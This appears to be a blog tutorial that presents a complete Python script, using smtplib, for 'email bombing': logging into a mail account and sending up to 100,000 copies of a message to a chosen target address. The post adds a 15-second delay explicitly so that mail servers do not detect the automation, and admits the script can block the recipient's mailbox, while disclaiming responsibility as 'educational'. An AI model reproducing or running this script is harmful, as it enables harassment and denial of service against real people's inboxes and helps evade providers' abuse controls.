Create Email Bomb using Python
Python is one of the easiest programming language and while learning python, I came across a very simple and power python library smtplib, This simple python library can handle all the heavy lifting for you and send your emails.
It has built in tools to serve different type of email verification and security like TLS and SSL. Using this python module, I have written a small program that can send thousands of emails without any users intravention
Here is python code for sending thousands of emails (or Email Bomb )
#------------------------------------------------------------------------------- # Name: Email Bomb # Purpose: Program to send unlimited emails - This is for educational purpose only use this program with utmost care and We will not take any responsibility for any type of loss or damage due to occur # Author: rakesh kumar # Created: 11-02-2018 # Copyright: rakesh kumar # Licence: MIT #------------------------------------------------------------------------------- import time import getpass import smtplib from email.mime.text import MIMEText # Open a plain text file for reading. For this example, assume that # the text file contains only ASCII characters. textfile ="abcd.txt" fp = open(textfile, 'r') # Create a text/plain message msg = MIMEText(fp.read()) fp.close() me ='email@google.com' target = 'target@gmail.com' msg['Subject'] = 'The contents of %s' % textfile msg['From'] = me msg['To'] = target password = getpass.getpass("Enter your email ID password : ") for i in range (1,100000): connection = smtplib.SMTP_SSL('smtp.google.com',465) connection.ehlo() #connection.starttls() connection.login('email@google.com',password) connection.sendmail(me,[target],msg.as_string()) connection.quit() time.sleep(15)
The program will send 100000 email to its recipient in an interval of 15 second. This time is required so that no email server can catch that these emails are coming via automated system.
NOTE : we have written this program to show the power of python and smtplib module for educational purpose only. If you misuse this program and any damage / loss occur due to this program. We will not take any responsibility. This program can block email box of your recipient. So Run this program at your own risk.